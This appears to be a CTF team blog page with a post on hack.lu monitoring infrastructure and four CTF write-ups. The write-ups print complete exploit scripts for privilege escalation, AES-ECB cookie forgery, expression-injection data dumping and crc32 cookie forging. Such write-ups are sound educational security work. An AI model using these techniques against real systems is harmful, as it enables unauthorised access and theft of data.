Skip to content

Behind the Scenes: hack.lu CTF Watchdog Infrastructure

After the hack.lu 2017 CTF was successful, there is some time to recap the feedback. One thing that we heard the last years was that the availability of our challenges is really great. To quote one of the feedbacks we got this year: "The CTF runs so flawlessly that I didn't realized I needed to ask for support.". I think there are two reasons for this (and everyone who ever hosted a CTF knows it is not the well written code of the challenges ;-) ). The first and main reason is the awesome team we have. Everyone is really dedicated to the hack.lu CTF and wants to make it a great experience for each participating team. The other reason, I like to think, is that we constantly monitor our challenges. And this is what this article is about.

Every challenge author always writes a proof-of-concept exploit for his challenge during the creation process in order to check if the challenge works. And our idea was that since the author writes the proof-of-concept exploit anyway, why not use it for the monitoring? So we created the guideline that each proof-of-concept exploit should be using the first argument for the address of the service, the second argument for the port, and an exit code unequal to 0 if an error occurred (there might be exceptions for this but this guideline is usually sufficient). That is all a challenge author has to take care of in order to provide a monitoring for his service.

But a bunch of scripts that can exploit the services of the CTF are not sufficient alone. We need a central entity that will notify us if anything goes wrong. And for this we use the alertR monitoring system. Mainly we use the following components of the monitoring system:

* alertR Server
* alertR Sensor Client Executer
* alertR Alert Client Push Notification
* alertR Manager Client Database

In the following sections I will describe what these components do and how they help us keeping the services up and running.


alertR Server

This is the main component of the monitoring system. Each client will connect to this server and send all information about the monitored services to it. In our case, the server has exactly one group (called alertLevel) to which each sensor (exploit that tests the services) and each actuator (called alert) belongs to. This alertLevel is set to trigger always an alarm even if the monitoring system is deactivated. How the alertR infrastructure looks in detail, can be read on the corresponding Github Wiki Page.


alertR Sensor Client Executer

This is the part that executes the exploits. It will check the exit code of each executed exploit and will raise an alarm if it is unequal to 0 (or the exploit times out). The interval in which the exploit is executed and a timeout value for the exploit is given by the author of the challenge.


alertR Alert Client Push Notification

alertR is able to send you push notifications to your Android devices. For this, you have to install the official alertR App on your Android and set up an alertR account (one account per monitoring system, not per Android device). Now every time a challenge has a problem, you get a push notification on your mobile device.


alertR Manager Client Database

This component allows you to provide the monitoring system data in a MySQL database for any component to process it. With the help of this, we provide two services:

IRC Bot

We wrote an IRC bot which can process the alertR system data. Most of our team is online in our internal IRC channel. Therefore, it was only a logical step to implement an IRC bot which will keep us updated on the current state of the CTF challenges. If a challenge encounters any problems, the IRC bot will post it into the channel.

Status Website

The website that shows the state of our challenges is used by us internally as well as by the CTF users. This website just shows the state of each challenge plain and simple. With this, CTF users can see if a challenge is actually working before they are asking for any support if they encounter problems.


Monitoring Infrastructure

Well, the hack.lu CTF is a hacking competition. Therefore, we try to make the infrastructure as secure as possible. This also applies to the monitoring system infrastructure. The alertR monitoring system is network based. This means that each component can be run on a different host. Since most watchdog scripts have the flag hardcoded, we have to make sure they can not be read by anyone. Because of this, we set up the executing mechanism on a separate host that only runs this part. As a result, we make sure that the attack vector for this crucial part is as narrow as possible. The status website as well as the IRC bot are also running on a different host than the alertR server. This is just circumstantial, but it certainly does not weaken the security of the system.


Final Words

I hope you enjoyed this little article about one internal aspect of the hack.lu CTF. Perhaps it is helpful to some people out there that are also hosting CTFs.

RuCTFe 2015: Ministry of Love (mol) write-up

This years RuCTFe 2015 consists of many cool challenges. One of these was the "Ministry of Love" (mol) challenge.

It was a python services that ... I do not know what it does. But it does not matter. You use this service via a web interface. Once you visit the site, a Websocket is opened to the server. Then you register/login there and you have a stateful connection (no cookies or what so ever). When you surf around the webinterface, you notice that sometimes "crimes" are reported. Some of these crimes are marked as private and you can not look them up. These are the interesting ones. The description field of these crimes contain the flag.

So, how can we reach them? Well, first you have to register an account to use the web interface. The function that does this is obviously named "register()". When you go through this function you will see this line:



user['role'] = len(user['username']) < 3
 


And yes. This does exactly what it looks like. The role of the user is set to some kind of admin role if the length is lower than 3. So, let us exploit it. A simple exploit script that uses the websocket-client of python looks like this:



#!/usr/bin/python

import websocket
import os
import sys
import json
import re


usernames = ["fx", "ab", "cd", "bf"]
password = "sdfsdfsfdasfdaklsdajklfhjk"
_DEBUG = True


def create_connection():

        for i in range(len(usernames)):

                host = sys.argv[1]
                team_id = host.split(".")[2]

                connection = websocket.create_connection(
                        "ws://mol.team" + team_id + ".e.ructf.org:80/websocket")

                register_msg = json.dumps({"action": "register",
                        "params": {
                        "username": usernames[i],
                        "password": password
                        }})

                connection.send(register_msg)

                response = json.loads(connection.recv())


                auth_msg = json.dumps({"action": "auth",
                        "params": {
                        "username": usernames[i],
                        "password": password
                        }})
                connection.send(auth_msg)

                response = json.loads(connection.recv())


                if response["type"] == "default alert alert-success":
                        return connection
                else:
                        continue

        return None

if _DEBUG: print "Connect to server"
connection = create_connection()
if connection is None:
        print "Could not login to service"
        sys.exit(1)

if _DEBUG: print "Connecting successful"

# ignore first response
response = json.loads(connection.recv())

# get private crimes
crimes_msg = json.dumps({"action": "show_crimes",
        "params": {
        "offset": 0
        }})
connection.send(crimes_msg)
response = json.loads(connection.recv())
private_crime_ids = list()
for row in response["rows"]:
        if "data" in row.keys():
                for data_set in row["data"]:

                        if data_set["public"] != "":
                                private_crime_ids.append(data_set["crimeid"])

if len(private_crime_ids) == 0:
        print "No private crime ids"
        sys.exit(1)

for private_crime_id in private_crime_ids:

        if _DEBUG: print "Get crime id " + str(private_crime_id)

        crime_msg = json.dumps({"action": "show_crime",
                "params": {
                "crimeid": private_crime_id
                }})
        connection.send(crime_msg)
        response = json.loads(connection.recv())

        if ("type" in response.keys() and
                response["type"] == "default alert alert-danger"):
                if _DEBUG: print "Not able to get private crime"
                continue

        if not "rows" in response.keys():
                if _DEBUG:
                        print "No rows"
                        print response
                continue

        for row in response["rows"]:
                if "data" in row.keys():
                        r = re.search("\w{31}=", row["data"]["description"])
                        if r:
                                print r.group(0)
 


And that's all. I am certain that there are more vulnerabilities in this service but because this time our team did not have so many players, I went on to the next service and never came back :-(

ictf 2014/2015 securenotebook write up

The securenotebook challenge was a 64 bit ELF binary which also consists of a zip archive. The symbols of the ELF file contained a lot of Python stuff, but we did not look deeper into it. After unpacking the zip archive, we were supplied by a lot of .pyc files. The obvious point to start was the __main__.pyc file. In order to get the python source, we used uncompyle2 from the pip repository.

The program first defines some global variables which can be seen in the following:



sys.stdout = NullDevice()
sys.stderr = NullDevice()
FORMAT = '%(asctime)-15s %(message)s'
logging.basicConfig(filename='server.log', format=FORMAT, level=logging.DEBUG)
logger = logging.getLogger('server')
logging.disable(logging.CRITICAL)
lock = Lock()
allowed_commands = set(['ls', 'cat secret.txt', 'cat server.py'])
aes_key = os.urandom(32)
secret = os.urandom(200)
root = 'rootadministrator'
manager = Manager()
db = manager.dict()
 



The first that can be noticed is that we can forget to guess the "aes_key" and "secret" in a short period of time. Let us go to the main function:



def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = ('0.0.0.0', int(sys.argv[1]))
    sock.bind(server_address)
    sock.listen(1)
    processes = []
    lasttime = datetime.datetime.now()
    try:
        while True:
            now = datetime.datetime.now()
            d = now - lasttime
            if d > datetime.timedelta(seconds=20):
                lasttime = now
                tobe_removed = []
                for i in range(len(processes)):
                    if now - processes[i][1] > datetime.timedelta(seconds=20):
                        try:
                            processes[i][0].terminate()
                        except Exception as e:
                            pass
                        tobe_removed.append(i)
                    else:
                        break

                for i in sorted(tobe_removed, reverse=True):
                    del processes[i]

            print >> sys.stderr, 'waiting for a connection'
            (connection, client_address,) = sock.accept()
            process = multiprocessing.Process(target=handle, args=(connection,
             client_address,
             db,
             lock))
            process.daemon = True
            process.start()
            processes.append((process, datetime.datetime.now(), connection))

    except Exception as e:
        print e
 



As we can see, the function handle is called when an incoming connection is detected. Let us go to the handle function:



def handle(connection, address, db, lock):
    try:
        connection.send('user|pass:')
        data = connection.recv(1024)
        print data,
        print 'read'
        user = authenticate(data, db, lock)
        if len(user) == 0:
            raise Exception('Not authenticated')
        print 'user %s authenticated' % user
        print 'creating token for user',
        print user
        tok = create_token(user)
        print 'token=',
        print tok
        connection.send(tok)
        while True:
            connection.send('\ncookie,command:')
            data = ''
            tries = 0
            while len(data) == 0:
                data = connection.recv(1024)
                tries += 1
                if tries > 20:
                    connection.close()
                    return

            print 'data=',
            print data
            out = parse_command(data)
            connection.send(out)

    except Exception as e:
        print e
        connection.close()
 



We can see that first the authentication is required and after the authentication is done, a token is generated and sent back to the user. After that every input is given to the parse_command function. First let us start with the authenticate function:



def authenticate(s, db, lock):
    lock.acquire()
    try:
        fields = s.split('|')
        if len(fields) < 2:
            raise Exception('Invalid format')
            return ''
        user = fields[0]
        user = user.strip()
        passwd = fields[1]
        passwd = passwd.strip()
        print user,
        print passwd
        if not (safe_string(user) and safe_string(passwd)):
            raise Exception('Unsafe')
            return ''
        if user == root:
            if passwd == secret:
                print user,
                print 'authenticated'
                return user
            else:
                raise Exception('Unauthorized')
                return ''
        else:
            if user in db and db[user] == passwd:
                print user,
                print 'authenticated'
                return user
            else:
                if user not in db:
                    print user,
                    print 'authenticated'
                    db[user] = passwd
                    return user
                return ''
    except:
        raise
    finally:
        lock.release()
 



The given data is split by a "|" into user and passwd. Both values are stripped. After that both values are checked if they are safe (the function checks if the values are alphanumeric). If the user is root and the passwd is the secret from the global variables (which we can not guess nor send to the server as input because of the safe_string function), then the user is authenticated as root. Else-wise, the user is authenticated using the db or created if it does not exist yet. Nothing special in this function. So let us move on. We skip the token generation and first look into the parse_command function:



def parse_command(msg):
    try:
        fs = msg.split(',')
        b64_c = fs[0]
        command = fs[1]
        command = command.strip()
        print 'command=',
        print command
        print 'fields=',
        print fs
        c = base64.b64decode(b64_c)
        aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
        m = aes.decrypt(c)
        print 'm=',
        print m
        fields = m.split('|')
        year = int(fields[0])
        month = int(fields[1])
        day = int(fields[2])
        hour = int(fields[3])
        minute = int(fields[4])
        user = fields[5]
        user = user.strip()
        print 'mfields=',
        print fields
        ts = datetime.datetime(year, month, day, hour, minute)
        t = datetime.datetime.now()
        d = t - ts
        if d > datetime.timedelta(seconds=60):
            print 'expired'
            raise Exception('Expired')
            return ''
        else:
            if command == 'ls':
                print 'ls'
                try:
                    pipe = os.popen('ls')
                    out = pipe.read()
                    pipe.close()
                except Exception as e:
                    out = ''
                return out
            if command == 'cat server.py':
                print 'read src'
                try:
                    pipe = os.popen('cat server.py')
                    out = pipe.read()
                    pipe.close()
                except Exception as e:
                    out = ''
                    raise
                return out
            if command == 'retv secret':
                print 'retv'
                if user == root:
                    try:
                        pipe = os.popen('cat secret.txt')
                        out = pipe.read()
                        pipe.close()
                    except Exception as e:
                        out = ''
                        raise
                    return out
                else:
                    try:
                        try:
                            users_vault = 'secret_of_%s.txt' % user
                            pipe = os.popen('cat "%s"' % users_vault)
                            out = pipe.read()
                            pipe.close()
                            print 'out =',
                            print out
                        except Exception as e:
                            out = ''
                            raise
                    except:
                        out = ''
                    return out
            elif command.startswith('write '):
                print 'write'
                to_write = command[len('write '):]
                if user == root:
                    try:
                        f = open('secret.txt', 'wt')
                        f.write(to_write)
                        f.close()
                    except:
                        print 'failed'
                        raise
                else:
                    try:
                        users_vault = 'secret_of_%s.txt' % user
                        f = open(users_vault, 'wt')
                        f.write(to_write)
                        f.close()
                    except:
                        print 'failed'
                        raise
            return ''
    except Exception as e:
        print e,
        print 'msg=',
        print msg
        raise
        return ''
 



Ok, first the function splits the data into cookie and command. The cookie is the token that is created by the server. The cookie is base64 decoded and decrypted by AES in ECB mode. An alarm bell should start in your head at this point. ECB mode looks always fishy. But let us go on. The date is extracted from the cookie and the user name. This is nice. This means we are recognized by the cookie. Therefore we can login by someone we know and could exchange our cookie to steal a session. But let us move on. The commands that can be used are "ls", "cat server.py", "retv secret" and "write". I skip the unimportant commands and only describe the "retv secret". This command outputs the file "secret_of_USERNAME.txt". In this file the flag is written by the gaming server. First, "retv secret" and "write" looked a little bit like a command injection, but because of the safe_string method we can not inject anything. But perhaps via the user value of the cookie (if we can manipulate it). Let us move on to the token generation:



def create_token(user):
    try:
        print 'creating the token'
        t = datetime.datetime.now()
        plain_token = '%d|%d|%d|%d|%d|%s|CHALLENGE' % (t.year,
         t.month,
         t.day,
         t.hour,
         t.minute,
         user)
        l1 = len('%d|%d|%d|%d|%d|' % (t.year,
         t.month,
         t.day,
         t.hour,
         t.minute))
        padded_plain_token = ' ' * (16 - l1 % 16) + plain_token
        l = len(padded_plain_token)
        padded_plain_token = padded_plain_token + ' ' * (16 - l % 16)
        aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
        enc_token = aes.encrypt(padded_plain_token)
        b64_token = base64.b64encode(enc_token)
        return b64_token
    except Exception as e:
        logger.error('%s' % str(e))
        raise
 



The token consists of the year, month, day, hour, minute, user and "CHALLENGE" separated by a "|". Then these values are padded in the front and at the back and AES encrypted via ECB mode. The result is base64 encoded and used as cookie by the server. The padding and ECB mode is interesting. The padding at the front only regards the year, month, hour and minute. This means that our user name always starts at the beginning of an AES block. Remember that AES always encrypts blocks of 16 bytes. This means the padding at the back of the string only regards our user name + "|CHALLENGE". So let us take a look at the user names the server uses.

A user name that is used by the gaming server looks like this "zY3RZIQ1pVIhC2D59ySX". It is always 21 characters long and we can not guess it. But we get it by the exploiting service of the gaming server. So we know the user name, but we do not know the password. So what can we do?

Because of AES with ECB and the padding we can use the service as an encrypting oracle. AES encrypts blocks of 16 bytes. This means we can first send the first 16 characters of the 21 characters user name. This will result in a cookie which contains an encrypted block that only consists of the first 16 characters of our user name. But what about the last 5 characters? We can do the same with them. When we use the last 5 characters as user name, they get extended with a "|CHALLENGE". Because the parse_command function splits the cookie using the "|" character, we do not care about the extension and the padding of the block.

Long story short, we can split the user name given by the gaming server into a 16 characters and 5 characters string. For each we register at the service and get a cookie send back. Then we extract the encrypted block of the cookie that contains our string. Now we concat the encrypted block of the 16 characters and the encrypted block of the 5 characters and use it as user value in the cookie. By doing so, the service thinks we are the same user the gaming server used for the flag. Then, when we enter the "retv secret" command, we get the flag.

The working exploit looks like this (CTF coding style):



#!/usr/bin/env python

import math
from socket import *
from time import time
from time import sleep
import sys
import re
import base64

BUFSIZE = 4098

class Client:
    def __init__(s,host,port):
        s.__HOST = host
        s.__PORT = port
        s.__ADDR = (s.__HOST,s.__PORT)
        s.__sock = None
 
    def makeConnection(s):
#       for TCP connection
        s.__sock = socket( AF_INET,SOCK_STREAM)
#       for UDP connection
#       s.__sock = socket( AF_INET,SOCK_DGRAM)
        s.__sock.connect(s.__ADDR)
 
    def sendCmd(s, cmd):
#       print cmd
        s.__sock.send(cmd)
 
    def getResults(s):
        return s.__sock.recv(BUFSIZE)

    def close(s):
        s.__sock.close()


class Exploit():


    def execute(self, ip, port, flag_id):

        # the user name the gaming server used
        testuser = flag_id

        firstPart = testuser[:16]
        secondPart = testuser[16:]


        # get first part
        conn = Client(ip, port)
        conn.makeConnection()
        blah = conn.getResults()
        #print blah

        password = "randomPasswd"

        #print firstPart

        conn.sendCmd("%s|%s" % (firstPart,password))

        cookie = conn.getResults()
        print cookie
        firstDecoded = cookie.decode("base64")

        if len(firstDecoded) == 64:
            # minutes have length of 2
            # => padding is 16 characters long (a whole block)

            firstBlock = firstDecoded[:48]

        else:
            # minutes have length of 1
            # => only first block is padded

            firstBlock = firstDecoded[:32]

        conn.close()


        # get second part
        conn = Client(ip, port)
        conn.makeConnection()
        blah = conn.getResults()
        #print blah

        password = "randomPasswd"
        conn.sendCmd("%s|%s" % (secondPart,password))
        cookie = conn.getResults()
        secondDecoded = cookie.decode("base64")

        #print len(secondDecoded)


        if len(secondDecoded) == 48:
            # minutes have length of 2
            # => padding is 16 characters long (a whole block)

            secondBlock = secondDecoded[32:48]

        elif len(secondDecoded) == 32:
            # minutes have length of 1
            # => only first block is padded

            secondBlock = secondDecoded[16:32]

        else:

            # should not happen

            print "fuuu"
            sys.exit(0)

        blah =  len(secondBlock)

        finalBlock = firstBlock + secondBlock
        finalEncoded = finalBlock.encode("base64")
        conn.close()


        # get flag
        conn = Client(ip, port)
        conn.makeConnection()
        blah =  conn.getResults()
        #print blah

        conn.sendCmd("%s|%s" % ("fluxisthebest","begoodbeawesome"))

        cookie = conn.getResults()
        #print cookie
        blah =  conn.getResults()
        #print blah

        conn.sendCmd("%s,%s" % (finalEncoded,"retv secret"))

        self.flag = conn.getResults()


    def result(self):
        return {'FLAG': self.flag}



'''
# use to test exploit
test = Exploit()
test.execute("10.7.71.2", 2190, "w5djPvuYEM9CQN5r5xkM")
print test.result()
'''

 



In order to fix this we just replaced the ECB mode with the CBC mode and added a random IV. Then we created a pyc file and replaced the __main__.pyc in the archive with our patched one.

RuCTFe 2014: heart write up

So here is my write-up for the heart challenge of the RuCTFe 2014. The heart service was written in Mono and provided a webinterface on which you can register yourself, set heart data points, set alerts for these data points and get all your data points.

The gaming server regularly registered a new user, sets a data point (the flag) and an alert for this data point. After that it logs in again with this registered user and reads all his data points. The service stores these data points and users in a "Redis Client Manager" database which is (when I understood it correctly) in memory.

Ok, I used Simple Assembly Explorer on Windows with ILSpy to look at the code. Fortunatly, it was not obfuscated or anything like it. So we can just decompile it. The main function looked like this:



// heart.Program
private static void Main(string[] args)
{
   XmlConfigurator.Configure();
   try
   {
       Program.DB = new DbProvider((args.Length > 0) ? args[0] : "127.0.0.1:6379");
       StaticHandler staticHandler = new StaticHandler(Program.GetPrefix(null), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "static"));
       staticHandler.Start();
       AddPointHandler addPointHandler = new AddPointHandler(Program.GetPrefix("add"));
       addPointHandler.Start();
       GetPointsHandler getPointsHandler = new GetPointsHandler(Program.GetPrefix("series"));
       getPointsHandler.Start();
       RegisterHandler registerHandler = new RegisterHandler(Program.GetPrefix("signup"));
       registerHandler.Start();
       LoginHandler loginHandler = new LoginHandler(Program.GetPrefix("signin"));
       loginHandler.Start();
       SetExpressionHandler setExpressionHandler = new SetExpressionHandler(Program.GetPrefix("setexpr"));
       setExpressionHandler.Start();
       GetAlertsHandler getAlertsHandler = new GetAlertsHandler(Program.GetPrefix("alerts"));
       getAlertsHandler.Start();
       Thread.Sleep(-1);
   }
   catch (Exception message)
   {
       Program.log.Fatal(message);
   }
}
 



You can see that there were 7 handlers that were registered. To skip to the interesting part, we take a look at the "setexpr" and "alerts" handler. The "setexpr" handler looked like this:



using heart.utils;
using System;
using System.Collections.Generic;
using System.Net;
namespace heart.handlers
{
   internal class SetExpressionHandler : AuthBaseHandler
   {
       public SetExpressionHandler(string prefix) : base(prefix)
       {
       }
       protected override void ProcessAuthorizedRequest(HttpListenerContext context, string login)
       {
           context.Request.AssertMethod("POST");
           System.Collections.Generic.Dictionary<string, string> postData = context.Request.GetPostData();
           string text;
           postData.TryGetValue("expr", out text);
           if (!string.IsNullOrEmpty(text))
           {
               if (text.Length > 512)
               {
                   throw new HttpException(HttpStatusCode.BadRequest, "Expression too large");
               }
               System.DateTime utcNow = System.DateTime.UtcNow;
               ExpressionHelper.CalcExpression(text, Program.DB.TakeSafe(login, utcNow.AddMinutes(-60.0), utcNow));
           }
           string text2;
           postData.TryGetValue("parts", out text2);
           if (text2 != null && text2.Length > 512)
           {
               throw new HttpException(HttpStatusCode.BadRequest, "Expression too large");
           }
           Program.DB.SetExpression(login, text, text2);
           context.Response.SetCookie("expr", text2, false);
           BaseHandler.WriteString(context, "OK");
       }
   }
}
 



So we have 2 POST values "expr" and "parts" from which only the "expr" is interesting. I searched in the complete code to see what "parts" does. And it does nothing but getting stored in a user variable. The "expr" is used with "CalcExpression()" which we keep in mind for the "alerts" handler. When this is done, it is set in the database via "SetExpression()". "SetExpression()" looks like this:



// heart.db.DbProvider
public void SetExpression(string login, string expression, string readable)
{
   using (IRedisClient client = this.manager.GetClient())
   {
       User user = Data<User>.ParseJson(client.GetValueFromHash("u", login));
       user.Expression = expression;
       user.Readable = readable;
       client.SetEntryInHash("u", login, user.CacheItem(login, 60).ToJsonString());
   }
}
 



It stores the "parts" POST value into the "user.Readable" variable and the "expr" POST value into the "user.Expression". The last one is the interesting part. So now let us look into the "alerts" handler:



using heart.db;
using heart.utils;
using System;
using System.Net;
using System.Runtime.Serialization;
namespace heart.handlers
{
   internal class GetAlertsHandler : AuthBaseHandler
   {
       [DataContract]
       internal class Alert : Data<GetAlertsHandler.Alert>
       {
            [DataMember(Name = "msg", Order = 1, EmitDefaultValue = false)]
           public string Message;
            [DataMember(Name = "dt", Order = 2, EmitDefaultValue = false)]
           private long date;
           [IgnoreDataMember]
           public System.DateTime Date
           {
                get
               {
                   return DateTimeUtils.ParseUnixTime(this.date);
               }
                set
               {
                   this.date = value.ToUnixTime();
               }
           }
       }
       public GetAlertsHandler(string prefix) : base(prefix)
       {
       }
       protected override void ProcessAuthorizedRequest(HttpListenerContext context, string login)
       {
           System.DateTime utcNow = System.DateTime.UtcNow;
           User user = Program.DB.FindUser(login);
           if (user == null)
           {
               throw new HttpException(HttpStatusCode.InternalServerError, "Can't find user");
           }
           if (string.IsNullOrEmpty(user.Expression))
           {
               BaseHandler.WriteData(context, null);
               return;
           }
           Stat stat = Program.DB.TakeSafe(login, utcNow.AddMinutes(-60.0), utcNow);
           string text = ExpressionHelper.CalcExpression(user.Expression, stat);
           BaseHandler.WriteData(context, (text != null) ? new GetAlertsHandler.Alert
           {
               Message = text,
               Date = System.DateTime.UtcNow
           }.ToJson() : null);
       }
   }
}
 



The "ProcessAuthorizedRequest()" is the interesting function. It uses the "user.Expression" (which we can set with the "setexpr" handler) and calculates something from it with "CalcExpression()". Also the "stat" variable is used which is taken from the database. Now let us look into the "CalcExpression()" method:



// heart.handlers.ExpressionHelper
public static string CalcExpression(string expression, Stat stat)
{
   ExpressionContext expressionContext = new ExpressionContext();
   expressionContext.Imports.AddType(typeof(Math));
   expressionContext.Imports.AddType(typeof(StatMethods));
   expressionContext.Variables.Add("stat", stat);
   expressionContext.Options.ParseCulture = CultureInfo.InvariantCulture;
   string result;
   try
   {
       IGenericExpression<string> genericExpression = expressionContext.CompileGeneric<string>(expression);
       result = genericExpression.Evaluate();
   }
   catch (Exception ex2)
   {
       ExpressionCompileException ex = ex2 as ExpressionCompileException;
       throw new HttpException(HttpStatusCode.InternalServerError, (ex != null) ? ex.Message : "Failed to build expression");
   }
   return result;
}
 



It sets up an expression context with some functions and the variable stat and does an "evaluate()" on it. This comes from the "Ciloci.Flee" project which I assumed as "not vulnerable" in this challenge and ignored it. But the interesting part is that the expression you can set can have methods that are given to the expression context. For example the gaming server used "Median()" which is given by the "StatMethods". So I tried some stuff with the "stat" variable like "toString()" and it got evaluated. So let us take a look at the "stat" variable class:



using heart.utils;
using System;
using System.Runtime.Serialization;
namespace heart.db
{
   [DataContract]
   public class Stat : Data<Stat>
   {
        [DataMember(Name = "points", Order = 1, EmitDefaultValue = false)]
       public DatePoint[] Points;
   }
}
 



The Stat class has an array of "Points" which stores the data inserted by the user. Unfortunately for us, when we play with the "setexpr" and "alerts" we can just reach our own submitted points (and not the one of the gaming server because we do not know his user credentials). But this was to obvious to not be the vulnerable part of the challenge and I knew that somehow I have to break out of this context.

Because of my own stupidity, it took me around 3h to find the bug. I thought that the class "Data" from which the class "Stat" was implemented was a .net system class. I was searching for it and did not find it on msdn and so on. Eventually, when MSLC was exploiting the service and I saw there exploit in the traffic I found the "Data" class. I was angry about my stupidity in how to operate Simple Assembly Explorer because it cost us 3h of valuable exploiting time. From thereon it was not difficult at all to exploit the service. The "Data" class has the methods "DumpCacheItems()" and "ToJsonString()". With it we could get access to the cached items that were inserted into the heart service. After that, we could iterate through the items and get it as a json string. The exploit looked like this:


#!/usr/bin/python

import requests
import re
import sys
import os
import json

session = requests.Session()


ip = sys.argv[1]
ip = ip[:-1] + "6"


login = "foooo1234"
password = "foooo1234"
data = {'login': login, 'pass': password, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
r1 = session.post("http://" + ip + "/signup/", data=data)


# check user already exists
if login in r1.text:
        data = {'login': login, 'pass': password, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
        r1 = session.post("http://" + ip + "/signin/", data=data)

        # check if login was successfull
        if not "OK" in r1.text:
                raise ValueError("Login failed with:\n %s" % r1.text)

# login
elif "OK" in r1.text:
        pass

else:
        raise ValueError("Create login failed with:\n %s" % r1.text)

expr = 'stat.DumpCacheItems().Length.toString()'
data = {'expr': expr, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
r2 = session.post("http://" + ip + "/setexpr/", data=data)


# get count of objects
r3 = session.get("http://" + ip + "/alerts/")




try:
        temp = json.loads(r3.text)
        count = int(temp["msg"])
except:
        raise ValueError("Can not get count")

for i in range(count):


        expr = 'stat.DumpCacheItems()[%d].ToJsonString()' % i
        data = {'expr': expr, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
        r4 = session.post("http://" + ip + "/setexpr/", data=data)


        # get flag
        r5 = session.get("http://" + ip + "/alerts/")

        r = re.search("\w{31}=", r5.text)
        if r:
                print r.group(0)
 

Secuinside CTF Prequal 2014 - Simple login (web200) write up

I actually did not want to write a write-up for this challenge. But the only write-up I found so far used a brute-force attack against this challenge. So here is our (FluxFingers) write-up with a much more elegant way.

The task was to log in as admin to a website. The source could be downloaded and analyzed. If you looked at "index.php" you saw this:


<?
        include "config.php";
        include "common.php";

        $common = new common;

        if($common->islogin()){
                if($common->isadmin())  $f = "Flag is : ".__FLAG__;
                else $f = "Hello, Guest!";
//[...]
 


So obviously we have to pass the "islogin()" and isadmin()" function. Let us take a look at the common class:


<?
        class common{
                public function getidx($id){
                        $id = mysql_real_escape_string($id);
                        $info = mysql_fetch_array(mysql_query("select idx from member where id='".$id."'"));
                        return $info[0];
                }

                public function getpasswd($id){
                        $id = mysql_real_escape_string($id);
                        $info = mysql_fetch_array(mysql_query("select password from member where id='".$id."'"));
                        return $info[0];
                }

                public function islogin(){
                        if( preg_match("/[^0-9A-Za-z]/", $_COOKIE['user_name']) ){
                                exit("cannot be used Special character");
                        }

                        if( $_COOKIE['user_name'] == "admin" )  return 0;

                        $salt = file_get_contents("../../long_salt.txt");

                        if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] ){
                                return 1;
                        }

                        return 0;
                }

                public function autologin(){

                }

                public function isadmin(){
                        if( $this->getidx($_COOKIE['user_name']) == 1){
                                return 1;
                        }

                        return 0;
                }

                public function insertmember($id, $password){
                        $id = mysql_real_escape_string($id);
                        mysql_query("insert into member(id, password) values('".$id."', '".$password."')") or die();

                        return 1;
                }
        }
?>
 


We see some MySQL queries. Unfortunately for us, they are escaped. We have to pass the "isadmin()" function. So the function uses the user name from the cookie and gets the index from the MySQL DB. We assume that the index for the "admin" user is 1 (because of the function name).

Ok, in the "index.php" we have to pass also the "islogin()" function. So we see the username has to contain only alphanumeric values and it can not be "admin". Luckily for us, MySQL is case-insensitive. This means we can use "ADMIN" as a user name, pass the check in the "islogin()" function and still get the correct index from the MySQL DB.

Ok, the next obvious thing is the hash we have to give correctly. It uses "crc32" (best crypto hash ever). We know crc32 is linear with respect to XOR. So, we can sign up with an username with the same length as "ADMIN" (we used "qwert"). Log in with this username, change the username in our cookie to "ADMIN" and XOR the crc32 hash of "qwert XOR ADMIN" to the hash we send to the server. This should pass the hash check. So we tried "crc32(x) XOR crc32(y) == crc32(x XOR y)" but it failed in our tests. We searched for it on the internet and always found this formula (hell, even in some of our lecture notes this formula is given). But it does not work for us. After a while we found out that the formula has to be "crc32(x) XOR crc32(y) XOR crc32(z) == crc32(x XOR y XOR z)". With this formula the linearity works. But now we have three values to consider. We used 5 Null-bytes. This does not change the username value and for the hash we can XOR a crc32 hash of 5 Null-bytes to the hash.

To make sure, everything works we used php to create our exploit, because we do not know if php fucks something up with the crc32 hash. So here is our exploit:


<?php

// qwert is registered
$username = "qwert";
// PW: qwert123


// qwert ^ 03(;: = ADMIN <--- MySQL is not case-sensitiv
$blah = "03(;:";

$blahHash = hexdec(hash('crc32', $blah));


// original cookie value when logged in:
// Cookie: login_time=1401570086; user_name=qwert; hash=fbd7bc71
$correctHash = hexdec("fbd7bc71");

echo dechex($blahHash ^ $correctHash ^ hexdec(hash('crc32', "\x00\x00\x00\x00\x00")));


// cookie value for exploit:
// Cookie: login_time=1401570086; user_name=ADMIN; hash=4effb88a
?>
 


We used our new hash value and we got back:


ADMIN Logined
Flag is : fd602a942c1cd716963996cf96e87847
 


Let me conclude this write-up with some words to the CTF. I liked it very much. But the practice to open only some challenges and the time difference to our country sucked a lot. During the time we played the most, only three challenges were available for us (the others were already solved by us and the three not solved were afaik only solved by 2 or 3 teams in the end). Then when we slept, all the other new challenges were opened and when we got back, we had only 2-3 hours for this challenges until the end of the CTF. Nevertheless, it was a great CTF and I want to thank the organizers for their great work!
Categories: CTF